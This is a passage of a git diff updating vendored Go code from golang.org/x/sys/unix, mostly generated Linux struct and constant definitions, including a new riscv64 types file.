-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad2 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -118,139 +101,29 @@ type Stat_t struct {
- _ uint64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,51 +134,20 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -314,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Gpr [32]uint64
- Nip uint64
-@@ -616,71 +197,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]uint8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [0]uint8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]uint8
-- Fpack [6]uint8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
--}
--
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
- const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -693,20 +240,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -718,13 +256,12 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -748,55 +285,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
-new file mode 100644
-index 00000000..0f2f61a6
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
-@@ -0,0 +1,621 @@
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build riscv64,linux
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
-+)
-+
-+type (
-+ _C_long int64
-+)
-+
-+type Timespec struct {
-+ Sec int64
-+ Nsec int64
-+}
-+
-+type Timeval struct {
-+ Sec int64
-+ Usec int64
-+}
-+
-+type Timex struct {
-+ Modes uint32
-+ Offset int64
-+ Freq int64
-+ Maxerror int64
-+ Esterror int64
-+ Status int32
-+ Constant int64
-+ Precision int64
-+ Tolerance int64
-+ Time Timeval
-+ Tick int64
-+ Ppsfreq int64
-+ Jitter int64
-+ Shift int32
-+ Stabil int64
-+ Jitcnt int64
-+ Calcnt int64
-+ Errcnt int64
-+ Stbcnt int64
-+ Tai int32
-+ _ [44]byte
-+}
-+
-+type Time_t int64
-+
-+type Tms struct {
-+ Utime int64
-+ Stime int64
-+ Cutime int64
-+ Cstime int64
-+}
-+
-+type Utimbuf struct {
-+ Actime int64
-+ Modtime int64
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int64
-+ Ixrss int64
-+ Idrss int64
-+ Isrss int64
-+ Minflt int64
-+ Majflt int64
-+ Nswap int64
-+ Inblock int64
-+ Oublock int64
-+ Msgsnd int64
-+ Msgrcv int64
-+ Nsignals int64
-+ Nvcsw int64
-+ Nivcsw int64
-+}
-+
-+type Stat_t struct {
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint64
-+ Size int64
-+ Blksize int32
-+ _ int32
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ _ [2]int32
-+}
-+
-+type Dirent struct {
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
-+}
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
-+}
-+
-+const (
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
-+type RawSockaddr struct {
-+ Family uint16
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [96]uint8
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint64
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen uint64
-+ Control *byte
-+ Controllen uint64
-+ Flags int32
-+ _ [4]byte
-+}
-+
-+type Cmsghdr struct {
-+ Len uint64
-+ Level int32
-+ Type int32
-+}
-+
-+const (
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
-+)
-+
-+const (
-+ SizeofSockFprog = 0x10
-+)
-+
-+type PtraceRegs struct {
-+ Pc uint64
-+ Ra uint64
-+ Sp uint64
-+ Gp uint64
-+ Tp uint64
-+ T0 uint64
-+ T1 uint64
-+ T2 uint64
-+ S0 uint64
-+ S1 uint64
-+ A0 uint64
-+ A1 uint64
-+ A2 uint64
-+ A3 uint64
-+ A4 uint64
-+ A5 uint64
-+ A6 uint64
-+ A7 uint64
-+ S2 uint64
-+ S3 uint64
-+ S4 uint64
-+ S5 uint64
-+ S6 uint64
-+ S7 uint64
-+ S8 uint64
-+ S9 uint64
-+ S10 uint64
-+ S11 uint64
-+ T3 uint64
-+ T4 uint64
-+ T5 uint64
-+ T6 uint64
-+}
-+
-+type FdSet struct {
-+ Bits [16]int64
-+}
-+
-+type Sysinfo_t struct {
-+ Uptime int64
-+ Loads [3]uint64
-+ Totalram uint64
-+ Freeram uint64
-+ Sharedram uint64
-+ Bufferram uint64
-+ Totalswap uint64
-+ Freeswap uint64
-+ Procs uint16
-+ Pad uint16
-+ Totalhigh uint64
-+ Freehigh uint64
-+ Unit uint32
-+ _ [0]uint8
-+ _ [4]byte
-+}
-+
-+type Ustat_t struct {
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
-+}
-+
-+type EpollEvent struct {
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
-+}
-+
-+const (
-+ POLLRDHUP = 0x2000
-+)
-+
-+type Sigset_t struct {
-+ Val [16]uint64
-+}
-+
-+const _C__NSIG = 0x41
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Line uint8
-+ Cc [19]uint8
-+ Ispeed uint32
-+ Ospeed uint32
-+}
-+
-+type Taskstats struct {
-+ Version uint16
-+ Ac_exitcode uint32
-+ Ac_flag uint8
-+ Ac_nice uint8
